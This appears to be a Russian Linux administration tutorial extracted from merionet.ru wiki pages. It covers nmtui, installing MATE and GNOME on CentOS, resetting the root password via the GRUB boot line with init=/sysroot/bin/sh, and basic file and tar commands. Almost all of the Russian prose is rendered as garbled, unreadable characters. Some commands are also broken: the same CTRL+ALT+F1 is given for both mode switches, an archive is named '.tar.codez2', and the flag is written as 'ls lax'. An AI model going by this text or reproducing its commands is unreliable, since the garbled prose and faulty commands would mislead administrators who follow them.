(ʩ ʪʦʯʢʠ ʟʨʝʥʠʷ L2 ʠ L3) ʧʨʝʚʦʩʭʦʜʠʪ çifconfigè. 

 

ɅȿɉɊɈɆɢȺȿ ɉɂɊɂɁɓɍ ȼɅɊɂɈɌɂɢɉɆɁ ɉ ɇɆɄɆɑɔɖ POUVK 

ɺʚʦʜʠʤ ʢʦʤʘʥʜʫ nmtui  - ʚ ʠʪʦʛʝ ʜʦʣʞʝʥ ʟʘʧʫʩʪʠʪʴʩʷ ʧʨʦʩʪʦʡ ʛʨʘʬʠʯʝʩʢʠʡ 

ʠʥʪʝʨʬʝʡʩ ʜʣʷ ʥʘʩʪʨʦʡʢʠ ʩʝʪʠ (ʩʢʨʠʥʰʦʪ ʥʠʞʝ): 
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ʗ, ʢ ʧʨʠʤʝʨʫ, ʭʦʯʫ ʠʟʤʝʥʠʪʴ ʥʘʩʪʨʦʡʢʠ ʝʜʠʥʩʪʚʝʥʥʦʛʦ ʠʥʪʝʨʬʝʡʩʘ ï ʚʳʙʠʨʘʝʤ 

ʧʝʨʚʫʶ ʦʧʮʠʶ Edit a connection ʠ ʚʠʜʠʤ ʩʣʝʜʫʶʱʫʶ ʢʘʨʪʠʥʫ: 
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ɺʳʙʠʨʘʝʤ Edité ʠ ʜʝʣʘʝʤ ʩ ʠʥʪʝʨʬʝʡʩʦʤ ʚʩʸ, ʯʪʦ ʚʟʜʫʤʘʝʪʩʷ :) ʂʘʢ ʚʠʜʥʦ ʥʘ 

ʩʢʨʠʥʰʦʪʝ ʥʠʞʝ, ʥʘʰ ʩʝʨʚʝʨ ʧʦʣʫʯʠʣ IP - ʘʜʨʝʩ ʧʦ DHCP ï ʤʝʥʷ ʵʪʦ ʫʩʪʨʘʠʚʘʝʪ ʠ 

ʷ ʦʩʪʘʚʣʶ ʚʩʸ ʢʘʢ ʝʩʪʴ. ɻʣʘʚʥʦʡ ʮʝʣʴʶ ʙʳʣʦ ʧʨʦʜʝʤʦʥʩʪʨʠʨʦʚʘʪʴ ʜʘʥʥʫʶ ʫʪʠʣʠʪʫ 

ï nmtui 
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ɋɉɊȿɅɆɁȺȿ OCUG ȼ ɅɂɆɀɍɆɠȼɄɓɍ ɇȿȺɂɊɆɁ 

ʀʪʘʢ, ʧʦʯʝʤʫ MATE? ʆʪʚʝʪ ʧʨʦʩʪ ï ʦʥ ʛʦʨʘʟʜʦ ʣʝʛʯʝ ʜʝʬʦʣʪʥʦʛʦ Gnome, ʦʯʝʥʴ 

ʥʝʪʨʝʙʦʚʘʪʝʣʝʥ ʢ ʨʝʩʫʨʩʘʤ ʠ ʢʨʘʡʥʝ ʧʨʦʩʪ ʚ ʫʩʪʘʥʦʚʢʝ. ʀʪʘʢ, ʧʨʦʠʟʚʦʜʠʤ 

ʥʝʩʢʦʣʴʢʦ ʧʨʦʩʪʳʭ ʰʘʛʦʚ ʧʦ ʫʩʪʘʥʦʚʢʝ ʧʘʢʝʪʦʚ(ʥʠʞʝ): 

ǒ yum groupinstall "Development Tools"  - ʫʩʪʘʥʦʚʢʘ ʥʝʦʙʭʦʜʠʤʦʛʦ 

ʢʦʤʧʣʝʢʪʘ ʧʘʢʝʪʦʚ ʜʣʷ ʨʘʙʦʪʳ GUI (ʪʦʣʴʢʦ ʝʩʣʠ ʫʞʝ ʥʝ ʫʩʪʘʥʦʚʣʝʥʳ) ; 

ǒ yum install epel - release  - ʫʩʪʘʥʦʚʢʘ EPEL ʨʝʧʦʟʠʪʦʨʠʷ; 

ǒ yum groupinstall "X Window system"  - ʫʩʪʘʥʦʚʢʘ ʛʨʫʧʧʦʚʦʛʦ ʧʘʢʝʪʘ X 

Window System, ʵʪʦ ʟʘʡʤʝʪ ʦʢʦʣʦ 5 ʤʠʥʫʪ. ʉʘʤ ʧʘʢʝʪ ʠʤʝʝʪ ʦʙʲʝʤ 73 ʄʙ; 

ǒ yum groupinstall "MATE Desktop"  - ʫʩʪʘʥʦʚʢʘ ʥʝʧʦʩʨʝʜʩʪʚʝʥʥʦ Mate ï 

ʜʦʚʦʣʴʥʦ ʦʙʲʝʤʥʳʡ ʧʘʢʝʪ - 506 ʄʙ; 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/ustanovka-centos-7-minimal/4.png
https://wiki.merionet.ru/images/ustanovka-centos-7-minimal/4.png
https://wiki.merionet.ru/servernye-resheniya/7/ustanovka-gnome-na-centos-6/
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ɼʘʣʝʝ, ʟʘʧʫʩʢʘʝʤ GUI! ɺʚʦʜʠʤ ʢʦʤʘʥʜʫsystemctl isolate graphical.target , 

ʚʚʦʜʠʤ ʠʤʷ ʶʟʝʨʘ ʠ ʧʘʨʦʣʴ, ʠ ʚʠʜʠʤ ʛʨʘʬʠʯʝʩʢʠʡ ʠʥʪʝʨʬʝʡʩ (ʩʢʨʠʥʰʦʪ ʥʠʞʝ): 

 

ɽʩʣʠ ʭʦʪʠʪʝ ʯʪʦʙʳ ʩʠʩʪʝʤʘ ʧʦ ʫʤʦʣʯʘʥʠʶ ʟʘʧʫʩʢʘʣʘʩʴ ʚ ʛʨʘʬʠʯʝʩʢʦʤ ʚʠʜʝ, 

ʚʚʝʜʠʪʝ ʢʦʤʘʥʜʫ 

systemctl set - default  graphical . target  

rm '/etc/systemd/system/default.target'  

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/ustanovka-centos-7-minimal/5.png
https://wiki.merionet.ru/images/ustanovka-centos-7-minimal/5.png
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ln - s '/usr/lib/systemd/system/graphical.target'  

'/etc/systemd/system/default.target'  

ǻșȚȈȕȖȊȒȈ Gnome ȕȈ CentOS 6 

ɺ ʜʘʥʥʦʡ ʩʪʘʪʴʝ ʨʘʩʩʤʦʪʨʠʤ ʧʨʦʮʝʩʩ ʫʩʪʘʥʦʚʢʠ ʛʨʘʬʠʯʝʩʢʦʡ ʦʙʦʣʦʯʢʠ ʥʘ ʆʉ 

CentOS 6, ʧʦʜ ʥʘʟʚʘʥʠʝʤ Gnome. ɻʣʘʚʥʦʝ, ʯʪʦ ʥʫʞʥʦ ʧʦʤʥʠʪʴ - ʚ ʧʦʛʦʥʝ ʟʘ 

ʨʘʟʣʠʯʥʳʤʠ ʩʚʠʩʪʝʣʢʘʤʠ ʠ ʫʢʨʘʰʘʪʝʣʴʩʪʚʘʤʠ GUI ʩʪʘʥʦʚʷʪʩʷ ʚʩʸ ʪʷʞʝʣʝʝ ʠ 

ʪʷʞʝʣʝʝ, ʥʘ ʠʭ ʦʙʩʣʫʞʠʚʘʥʠʝ ʤʦʞʝʪ ʫʭʦʜʠʪʴ ʜʨʘʛʦʮʝʥʥʳʡ ʨʝʩʫʨʩ ʧʨʦʮʝʩʩʦʨʘ. 

ɿʘʯʝʤ ʤʦʞʝʪ ʧʦʥʘʜʦʙʠʪʩʷ ʫʩʪʘʥʦʚʢʘ ʛʨʘʬʠʯʝʩʢʦʛʦ ʠʥʪʝʨʬʝʡʩʘ, ʢ ʧʨʠʤʝʨʫ, ʥʘ 

ʩʝʨʚʝʨʝ ʚʘʰʝʡ IP - ɸʊʉ? ɺʘʨʠʘʥʪʦʚ ʤʥʦʞʝʩʪʚʦ, ʢ ʧʨʠʤʝʨʫ ï ʨʘʜʠ ʫʜʦʙʩʪʚʘ (ʠ 

ʧʨʠʚʳʯʢʠ!), ʠʣʠ ʞʝ ʩʝʨʚʝʨ ʩ ɸʊʉ ʫ ʚʘʩ ʤʥʦʛʦʬʫʥʢʮʠʦʥʘʣʝʥ ʠ ʥʘ ʥʸʤ ʪʨʝʙʫʝʪʩʷ 

ʚʳʧʦʣʥʷʪʴ ʝʱʸ ʢʘʢʠʝ-ʥʠʙʫʜʴ ʟʘʜʘʯʠ, ʢʦʪʦʨʳʝ ʪʨʝʙʫʶʪ ʛʨʘʬʠʯʝʩʢʦʛʦ ʠʥʪʝʨʬʝʡʩʘ 

(ʢ ʧʨʠʤʝʨʫ, ʥʝʦʙʭʦʜʠʤʦʩʪʴ ʟʘʧʫʩʢʘ ʩʦʬʪʬʦʥʘ). 

ʇʦʯʝʤʫ ʤʳ ʚʳʙʨʘʣʠ Gnome, ʘ ʥʝ XFCE ʠʣʠ Mate, ʢ ʧʨʠʤʝʨʫ? ɺ ʧʝʨʚʫʶ ʦʯʝʨʝʜʴ 

ʠʟ-ʟʘ ʦʪʥʦʩʠʪʝʣʴʥʦʡ ʣʸʛʢʦʩʪʠ ʫʩʪʘʥʦʚʢʠ, ʥʦ ʥʘ CentOS 7 ʪʦʯʥʦ ʙʫʜʝʪ 

ʧʨʝʜʧʦʯʪʠʪʝʣʴʥʝʝ ʦʙʦʣʦʯʢʘ Mate. 

 

ɇɈɆɎɂɉɉ ɋɉɊȿɅɆɁȺȼ 

ʇʦʜʢʣʶʯʘʝʤʩʷ ʢ ʩʝʨʚʝʨʫ ʩ ʧʦʤʦʱʴʶ ʪʝʨʤʠʥʘʣʘ, ʠ ʧʝʨʚʳʤ ʰʘʛʦʤ ʫʩʪʘʥʘʚʣʠʚʘʝʤ 

EPEL-ʨʝʧʦʟʠʪʦʨʠʡ ʠ ʟʘʪʝʤ ʫʩʪʘʥʘʚʣʠʚʘʝʤ ʛʨʫʧʧʦʚʦʡ ʧʘʢʝʪ X Window system, 

ʧʨʦʮʝʩʩ ʫʩʪʘʥʦʚʢʠ ʟʘʡʤʝʪ ʥʝʢʦʪʦʨʦʝ ʚʨʝʤʷ, ʛʨʫʧʧʦʚʦʡ ʧʘʢʝʪ ʜʦʩʪʘʪʦʯʥʦ 

çʪʷʞʸʣʳʡè - 81 ʄʙ.: 

ǒ yum install epel - release  - ʫʩʪʘʥʦʚʢʘ EPEL ʨʝʧʦʟʠʪʦʨʠʷ; 

https://wiki.merionet.ru/
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ǒ yum groupinstall "X Window system"  - ʫʩʪʘʥʦʚʢʘ ʛʨʫʧʧʦʚʦʛʦ ʧʘʢʝʪʘ X 

Window System; 

ɺ ʠʪʦʛʝ ʚʳ ʜʦʣʞʥʳ ʫʚʠʜʝʪʴ ʩʧʠʩʦʢ ʫʩʪʘʥʦʚʣʝʥʥʳʭ ʧʘʢʝʪʦʚ ʠ ʥʘʜʧʠʩʴ Complete, 

ʢʘʢ ʥʘ ʩʢʨʠʥʰʦʪʝ: 

 

ʉʣʝʜʫʶʱʠʤ ʰʘʛʦʤ ʫʩʪʘʥʘʚʣʠʚʘʝʤ ʛʨʫʧʧʦʚʦʡ ʧʘʢʝʪ Desktop ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ 

yum groupinstall - y "Desktop" . ʆʙʲʝʤ ʧʘʢʝʪʘ ï 83 ʄʙ. ɺ ʢʦʥʮʝ ʜʦʣʞʥʘ ʙʳʪʴ 

ʪʘʢʘʷ ʞʝ ʥʘʜʧʠʩʴ, ʢʘʢ ʠ ʚ ʧʨʝʜʳʜʫʱʝʤ ʰʘʛʝ ï Complete. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/ustanovka-gnome-na-centos-6/1.png
https://wiki.merionet.ru/images/ustanovka-gnome-na-centos-6/1.png
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ʉʣʝʜʫʶʱʠʤ ʰʘʛʦʤ ʥʝʦʙʭʦʜʠʤʦ ʦʪʨʝʜʘʢʪʠʨʦʚʘʪʴ ʬʘʡʣ /etc/inittab ï ʚ ʜʘʥʥʦʤ 

ʩʣʫʯʘʝ ʙʫʜʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ Vim: vim /etc/inittab . ɿʜʝʩʴ ʧʘʨʘʤʝʪʨ 

id:3:initdefault  ʥʫʞʥʦ ʧʦʤʝʥʷʪʴ ʥʘ id:5:initdefault: . ʅʫʞʥʦ ʩʥʘʯʘʣʘ ʚʦʡʪʠ 

ʚ ʨʝʞʠʤ ʨʝʜʘʢʪʠʨʦʚʘʥʠʷ ʩ ʧʦʤʦʱʴʶ ʥʘʞʘʪʠʷ ʥʘ i, ʠʟʤʝʥʠʪʴ ʥʫʞʥʳʡ ʧʘʨʘʤʝʪʨ, 

ʟʘʪʝʤ ʥʘʞʘʪʴ Esc ʠ ʚʚʝʩʪʠ ʢʦʤʘʥʜʫ :x . 

 

ɼʘʣʝʝ ʩʢʘʯʠʚʘʝʤ ʰʨʠʬʪʳ ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ yum groupinstall ïy fonts . 

 

ɡȿɇɋɉȺ ȼ ɇɂɈɂȺɣɖɏɂɅȼɂ ɄɂɃɠɋ ɈɂɃȼɄȿɄȼ 

ɼʘʣʝʝ ʤʦʞʝʤ ʟʘʧʫʩʪʠʪʴ GUI ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ startx  - ʢʦʥʩʦʣʴ ʤʦʞʝʪ ʥʘʯʘʪʴ 

ʩʳʧʘʪʴ ʦʰʠʙʢʘʤʠ ʠ ʧʨʝʜʫʧʨʝʞʜʝʥʠʷʤʠ, ʥʦ ʨʘʙʦʯʠʡ ʩʪʦʣ ʜʦʣʞʝʥ ʫʩʧʝʰʥʦ 

ʟʘʧʫʩʪʠʪʴʩʷ: 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/ustanovka-gnome-na-centos-6/2.png
https://wiki.merionet.ru/images/ustanovka-gnome-na-centos-6/2.png
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ʇʝʨʝʢʣʶʯʝʥʠʝ ʤʝʞʜʫ ʨʝʞʠʤʘʤʠ: 

ǒ CTRL + ALT + F1 - ʧʝʨʝʢʣʶʯʝʥʠʝ ʠʟ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʚ ʛʨʘʬʠʯʝʩʢʠʡ 

ʠʥʪʝʨʬʝʡʩ ; 

ǒ CTRL + ALT + F1 - ʧʝʨʝʢʣʶʯʝʥʠʝ ʠʟ ʛʨʘʬʠʯʝʩʢʦʛʦ ʠʥʪʝʨʬʝʡʩʘ ʚ ʢʦʤʘʥʜʥʫʶ 

ʩʪʨʦʢʫ; 

ʊʝʧʝʨʴ ʚʳ ʩʤʦʞʝʪʝ ʣʝʛʢʦ ʠʩʧʦʣʴʟʦʚʘʪʴ ʦʙʳʯʥʳʝ ʜʝʩʢʪʦʧʥʳʝ ʧʨʠʣʦʞʝʥʠʷ ʥʘ 

ʩʚʦʸʤ ʩʝʨʚʝʨʝ, ʝʩʣʠ ʪʘʢʘʷ ʥʝʦʙʭʦʜʠʤʦʩʪʴ ʚʦʟʥʠʢʥʝʪ :) 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/ustanovka-gnome-na-centos-6/3.png
https://wiki.merionet.ru/images/ustanovka-gnome-na-centos-6/3.png
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ǲȈȒ ȊȖșșȚȈȕȖȊȐȚȤ ȗȈȘȖȓȤ ȖȚ root Ȋ CentOS 7 

ɺʨʝʤʝʥʠ ʥʘ ʬʦʨʤʘʣʴʥʦʩʪʠ ʥʝʪ! ʈʘʟ ʪʳ ʯʠʪʘʝʰʴ ʵʪʫ ʩʪʘʪʴʶ, ʟʥʘʯʠʪ ʪʚʦʡ ʧʘʨʦʣʴ ʥʘ 

root ʫʪʝʨʷʥ/ʟʘʙʳʪ. ʅʝ ʪʝʨʷʷ ʥʠ ʤʠʥʫʪʳ ʧʨʠʩʪʫʧʘʝʤ ʢ ʝʛʦ ʚʦʩʩʪʘʥʦʚʣʝʥʠʶ ʚ 

ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʝ CentOS 7! 

 

ɇɈɆɎɂɉɉ ɁɆɉɉɊȿɅɆɁɣɂɅȼɗ 

ʀʪʘʢ, ʜʦʙʝʞʘʚ ʜʦ ʩʝʨʚʝʨʥʦʡ ʢʦʤʥʘʪʳ ʠ ʧʦʜʢʣʶʯʠʚ ʤʦʥʠʪʦʨ ʩ ʤʳʰʢʦʡ ʠʣʠ 

ʧʦʜʢʣʶʯʠʚʰʠʩʴ ʢ KVM ʚʠʨʪʫʘʣʴʥʦʡ ʤʘʰʠʥʳ ʧʨʠʩʪʫʧʘʝʤ ʩʙʨʦʩʫ ʧʘʨʦʣʷ. 

ʇʝʨʝʛʨʫʞʘʝʤ ʩʝʨʚʝʨ ʠ ʚ ʤʝʥʶ ʟʘʛʨʫʟʢʠ ʥʘʞʠʤʘʝʤ çeè, ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ: 

 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-vosstanovit-parol-ot-root-v-centos-7/1.png
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ʃʠʩʪʘʝʤ ʚʥʠʟ ʩʪʨʝʣʢʘʤʠ ʥʘ ʢʣʘʚʠʘʪʫʨʝ ʠ ʥʘʭʦʜʠʤ ʦʙʦʟʥʘʯʝʥʠʝ ro, ʢʘʢ ʫʢʘʟʘʥʦ ʥʘ 

ʩʢʨʠʥʰʦʪʝ ʥʠʞʝ: 

 

ɺ ro ʟʘʤʝʥʷʝʤ Đ ҄ Ļ ʠ ʜʦʙʘʚʣʷʝʤ init=/sysroot/bin/sh  ʧʦʩʣʝ rw. ʊʦ ʝʩʪʴ ʚʦʪ 

ʪʘʢ: 

rw init =/sysroot/ bin / sh  

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-vosstanovit-parol-ot-root-v-centos-7/2.png
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ʊʝʧʝʨʴ ʥʘʞʠʤʘʝʤ Ctrl + X  ʠ ʚʭʦʜʠʤ ʚ ʘʚʘʨʠʡʥʳʡ (emergency) ʨʝʞʠʤ. ɿʘʧʫʩʢʘʝʤ 

ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ: 

chroot / sysroot  

 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-vosstanovit-parol-ot-root-v-centos-7/3.png
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ʄʝʥʷʝʤ ʧʘʨʦʣʴ ʦʪ root. ɼʣʷ ʵʪʦʛʦ, ʜʘʝʤ ʚ ʢʦʥʩʦʣʴ ʢʦʤʘʥʜʫ passwd root . ʇʦʩʣʝ 

ʵʪʦʛʦ ʚʚʦʜʠʤ ʜʚʘʞʜʳ ʥʦʚʳʡ ʧʘʨʦʣʴ: 

 

ʇʦʩʣʝ ʵʪʦʛʦ, ʦʙʥʦʚʣʷʝʤ ʧʘʨʘʤʝʪʨʳ SELinux ʢʦʤʘʥʜʦʡ touch /.autorelabel : 

 

ɻʦʪʦʚʦ! ɼʘʡʪʝ ʚ ʢʦʥʩʦʣʴ ʢʦʤʘʥʜʫ reboot  ʠ ʟʘʛʨʫʟʠʪʝʩʴ ʚ ʰʪʘʪʥʦʤ ʨʝʞʠʤʝ. ʇʘʨʦʣʴ 

ʦʪ root ʙʫʜʝʤ ʠʟʤʝʥʝʥ. 

Linux: ȒȖȔȈȕȌȣ Ȍȓȧ ȘȈȉȖȚȣ ș ȜȈȑȓȈȔȐ Ȑ ȌȐȘȍȒȚȖȘȐȧȔȐ 

ɺʦ ʤʥʦʛʠʭ ʥʘʰʠʭ ʩʪʘʪʴʷʭ ʧʨʦʩʢʘʢʠʚʘʶʪ ʨʘʟʣʠʯʥʳʝ ʢʦʤʘʥʜʳ, ʩʚʷʟʘʥʥʳʝ ʩ 

ʬʘʡʣʦʚʳʤʠ ʤʘʥʠʧʫʣʷʮʠʷʤʠ ï ʩʦʟʜʘʥʠʝ ʜʠʨʝʢʪʦʨʠʡ, ʬʘʡʣʦʚ, ʫʩʪʘʥʦʚʢʘ ʧʘʢʝʪʦʚ ʠ 

ʪ.ʜ. ɺ ʜʘʥʥʦʡ ʩʪʘʪʴʝ ʤʳ ʨʝʰʠʣʠ ʥʘʯʘʪʴ ʧʦʚʝʩʪʚʦʚʘʥʠʝ ʧʦʩʣʝʜʦʚʘʪʝʣʴʥʦ. 

 

ɆɉɅɆɁɓ 
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ʀʪʘʢ, ʚ Linux ʚ ʦʪʣʠʯʠʝ ʦʪ Windows ʩʫʱʝʩʪʚʫʝʪ ʧʦʥʷʪʠʝ ʧʦʣʥʦʛʦ ʠ ʦʪʥʦʩʠʪʝʣʴʥʦʛʦ 

ʧʫʪʠ. ʈʘʟʥʠʮʘ ʤʝʞʜʫ ʥʠʤʠ ʚ ʪʦʤ, ʯʪʦ ʧʦʣʥʳʡ ʧʫʪʴ ʚʩʝʛʜʘ ʥʘʯʠʥʘʝʪʩʷ ʩ ʢʦʨʥʝʚʦʛʦ 

ʢʘʪʘʣʦʛʘ (ʢʦʨʥʝʚʦʡ ʢʘʪʘʣʦʛ ʦʙʦʟʥʘʯʘʝʪʩʷ ʢʘʢ /), ʠ ʜʘʣʝʝ ʪʘʢʞʝ ʯʝʨʝʟ ʩʣʝʰ 

ʧʨʦʠʩʭʦʜʠʪ ʧʝʨʝʯʠʩʣʝʥʠʝ ʚʩʝʭ ʥʘʟʚʘʥʠʡ ʢʘʪʘʣʦʛʦʚ ʥʘ ʧʫʪʠ ʢ ʠʩʢʦʤʦʤʫ ʬʘʡʣʫ ʠʣʠ 

ʜʠʨʝʢʪʦʨʠʠ, ʘ ʚ ʩʣʫʯʘʝ ʦʪʥʦʩʠʪʝʣʴʥʦʛʦ ʧʫʪʠ ï ʚ ʥʘʯʘʣʝ ʩʣʝʰ ʥʝ ʫʢʘʟʳʚʘʝʪʩʷ. ʊʦ 

ʝʩʪʴ ʙʝʟ ʩʣʝʰʘ ʧʫʪʴ ʫʢʘʟʳʚʘʝʪʩʷ ʦʪʥʦʩʠʪʝʣʴʥʦ ʥʳʥʝʰʥʝʛʦ ʤʝʩʪʦʧʦʣʦʞʝʥʠʷ, ʘ ʩʦ 

ʩʣʝʰʝʤ ï ʦʪʥʦʩʠʪʝʣʴʥʦ ʢʦʨʥʝʚʦʛʦ ʢʘʪʘʣʦʛʘ. ʇʨʠʤʝʨʳ: 

ǒ /home/user1/tmp/test.sh - ʧʦʣʥʳʡ ʧʫʪʴ; 

ǒ ~/tmp/file1 - ʦʪʥʦʩʠʪʝʣʴʥʳʡ ʧʫʪʴ; 

ʅʠʞʝ ʚʳ ʚʩʪʨʝʪʠʪʝ ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʝ ʢʦʤʘʥʜʳ ʜʣʷ ʨʘʙʦʪʳ ʩ ʬʘʡʣʘʤʠ, 

ʘʨʭʠʚʘʤʠ ʠ ʫʩʪʘʥʦʚʢʦʡ ʧʨʦʛʨʘʤʤ. 

 

ȺɆɄȿɅɠɓ ɠɣɗ ɈȿɀɆɊɓ ɉ ɌȿɢɣȿɄȼ ȼ ɠȼɈɂȺɊɆɈȼɗɄȼ 

ʂʦʤʘʥʜ ʜʦʚʦʣʴʥʦ ʤʥʦʛʦ, ʷ ʧʝʨʝʯʠʩʣʶ ʩʘʤʳʝ, ʥʘ ʤʦʡ ʚʟʛʣʷʜ, ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʝ: 

1. cd  - ʩʤʝʥʘ ʜʠʨʝʢʪʦʨʠʠ ʥʘ ʜʦʤʘʰʥʶʶ, ʤʦʞʥʦ ʜʦʙʘʚʣʷʪʴ ʘʨʛʫʤʝʥʪʳ ï ʢ 

ʧʨʠʤʝʨʫ, cd /root ; 

2. pwd - ʢʦʤʘʥʜʘ ʧʦʢʘʞʝʪ ʪʝʢʫʱʠʡ ʧʫʪʴ ʢ ʜʠʨʝʢʪʦʨʠʠ, ʚ ʢʦʪʦʨʦʡ ʚʳ ʥʘʭʦʜʠʪʝʩʴ 

ʚ ʜʘʥʥʳʡ ʤʦʤʝʥʪ; 

3. ls  - ʚʳʚʦʜ ʩʧʠʩʢʘ ʬʘʡʣʦʚ ʠ ʢʘʪʘʣʦʛʦʚ ʧʦ ʧʦʨʷʜʢʫ (ʥʘʚʝʨʥʦʝ, ʩʘʤʘʷ 

ʠʟʚʝʩʪʥʘʷ ʢʦʤʘʥʜʘ) ʝʩʣʠ ʜʦʙʘʚʠʪʴ ʤʦʜʠʬʠʢʘʪʦʨʳ lax , ʪʦ ʢʦʤʘʥʜʘ ʚʳʚʝʜʝʪ 

ʬʦʨʤʘʪʠʨʦʚʘʥʥʳʡ ʩʧʠʩʦʢ ʚʩʝʭ ʬʘʡʣʦʚ ʠ ʜʠʨʝʢʪʦʨʠʡ (ʚ ʪʦʤ ʯʠʩʣʝ ʩʢʨʳʪʳʝ); 

4. cat  - ʧʦʢʘʟʳʚʘʝʪ ʩʦʜʝʨʞʠʤʦʝ ʬʘʡʣʘ, ʢ ʧʨʠʤʝʨʫ ï cat /root/file.txt ; 
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5. tail  - ʥʘʧʨʠʤʝʨ, tail /root/file.txt , ʚʳʚʦʜʠʪ ʪʦʣʴʢʦ ʢʦʥʝʮ ʬʘʡʣʘ, 

ʫʜʦʙʥʦ ʧʨʠ ʨʘʙʦʪʝ ʩ ʣʦʛʘʤʠ; 

6. cp  - ʢʦʧʠʨʦʚʘʥʠʝ ʜʠʨʝʢʪʦʨʠʠ ʠʣʠ ʬʘʡʣʘ, ʪʦ ʝʩʪʴ cp /root/file.txt 

/etc/folder1/file.txt  ï ʠʟ /root ʬʘʡʣ ʙʫʜʝʪ ʩʢʦʧʠʨʦʚʘʥ ʚ ʫʢʘʟʘʥʥʫʶ 

ʜʠʨʝʢʪʦʨʠʶ 

7. mkdir  - ʩʦʟʜʘʥʠʝ ʜʠʨʝʢʪʦʨʠʠ, ʥʘʧʨʠʤʝʨ, mkdir /root/1 ; 

8. rmdir  - ʫʜʘʣʝʥʠʝ ʜʠʨʝʢʪʦʨʠʠ, ʩʠʥʪʘʢʩʠʩ ʪʘʢʦʡ ʞʝ, ʢʘʢ ʠ ʫ ʢʦʤʘʥʜʳ ʚʳʰʝ; 

9. rm - rf  - ʦʯʝʥʴ ʦʧʘʩʥʘʷ ʢʦʤʘʥʜʘ (ʠ ʜʦʚʦʣʴʥʦ ʧʦʧʫʣʷʨʥʘʷ ʚ ʠʥʪʝʨʥʝʪ 

ʬʦʣʴʢʣʦʨʝ), ʥʦ ʠʥʦʛʜʘ ʠ ʦʥʘ ʤʦʞʝʪ ʧʨʠʛʦʜʠʪʴʩʷ ï ʦʥʘ ʫʜʘʣʷʝʪ ʜʠʨʝʢʪʦʨʠʶ 

ʩʦ ʚʣʦʞʝʥʥʳʤʠ ʬʘʡʣʘʤʠ; 

10. mv - ʧʝʨʝʠʤʝʥʦʚʘʥʠʝ ʬʘʡʣʘ ʠʣʠ ʜʠʨʝʢʪʦʨʠʠ, ʩʥʘʯʘʣʘ ʫʢʘʟʳʚʘʝʪʩʷ ʮʝʣʝʚʘʷ 

ʜʠʨʝʢʪʦʨʠʷ ʠ ʟʘʪʝʤ ʝʸ ʥʦʚʦʝ ʥʘʟʚʘʥʠʝ; 

11. locate  - ʧʦʠʩʢ ʬʘʡʣʘ ʩ ʟʘʜʘʥʥʳʤ ʥʘʟʚʘʥʠʝʤ; 

ɼʣʷ ʥʘʛʣʷʜʥʦʩʪʠ, ʧʦʩʤʦʪʨʠʪʝ ʥʘ ʚʳʚʦʜ ʢʦʤʘʥʜʳ tail  

# tail install.log  

Installing  dosfstools - 3.0 . 9- 4.el6.i686  

Installing  rfkill - 0.3 - 4.el6.i686  

Installing  rdate - 1.4 - 16.el6.i686  

Installing  bridge - utils - 1.2 - 10.el6.i686  

Installing  eject - 2.1 . 5- 17.el6.i686  

Installing  b43 - fwcutter - 012 - 2.2 . el6 . i686  
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Installing  latrace - 0.5 . 9- 2.el6.i686  

Installing  trace - cmd- 2.2 . 4- 3.el6.i686  

Installing  crash - trace - command- 1.0 - 5.el6.i686  

***  FINISHED INSTALLING PACKAGES ***  

ɺ ʧʨʠʤʝʨʝ ʚʳʰʝ, ʢʦʤʘʥʜʘ tail ʚʳʚʝʣʘ ʪʦʣʴʢʦ ʧʦʩʣʝʜʥʠʝ 11 ʩʪʨʦʢ. 

 

ɈȿɀɆɊȿ ɉ ȿɈɍȼɁȿɄȼ 

ʈʘʙʦʪʘ ʩ .tar ʘʨʭʠʚʘʤʠ ï ʦʯʝʥʴ ʯʘʩʪʦ ʚʩʪʨʝʯʘʶʱʘʷʩʷ ʟʘʜʘʯʘ, ʧʦʵʪʦʤʫ ʭʦʪʠʤ 

ʧʨʠʚʝʩʪʠ ʥʝʩʢʦʣʴʢʦ ʧʦʣʝʟʥʳʭ ʢʦʤʘʥʜ, ʯʪʦʙʳ ʥʝ ʧʨʠʰʣʦʩʴ ʣʠʰʥʠʡ ʨʘʟ 

ʧʦʣʴʟʦʚʘʪʴʩʷ ʧʦʠʩʢʦʚʠʢʦʤ :) 

ǒ tar cf example.tar /home/example.txt  - ʩʦʟʜʘʥʠʝ .tar ʘʨʭʠʚʘ, ʢʦʪʦʨʳʡ 

ʙʫʜʝʪ ʩʦʜʝʨʞʘʪʴ ʚ ʩʝʙʝ ʪʝʢʩʪʦʚʳʡ ʬʘʡʣ example.txt; 

ǒ tar cjf example1.tar.codez2 /home/example1.txt  - ʢʦʤʘʥʜʘ ʩ ʪʝʤ ʞʝ 

ʬʫʥʢʮʠʦʥʘʣʦʤ, ʪʦʣʴʢʦ ʙʫʜʝʪ ʠʩʧʦʣʴʟʦʚʘʪʴʩʷ ʩʞʘʪʠʝ Bzip2; 

ǒ tar czf example2.tar.gz /home/example2.txt  - ʦʧʷʪʴ ʘʨʭʠʚʘʮʠʷ, ʪʦʣʴʢʦ 

ʥʘ ʵʪʦʪ ʨʘʟ ʩʦ ʩʞʘʪʠʝʤ Gzip; 

ǒ tar xf example.tar  - ʨʘʩʧʘʢʦʚʢʘ ʘʨʭʠʚʘ ʚ ʪʝʢʫʱʫʶ ʜʠʨʝʢʪʦʨʠʶ, ʝʩʣʠ ʪʠʧ 

ʩʞʘʪʠʷ ʥʝʩʪʘʥʜʘʨʪʥʳʡ, ʪʦ ʧʦʩʣʝ ʨʘʩʰʠʨʝʥʠʷ ʥʫʞʥʦ ʜʦʙʘʚʠʪʴ ʪʠʧ ʩʞʘʪʠʷ 

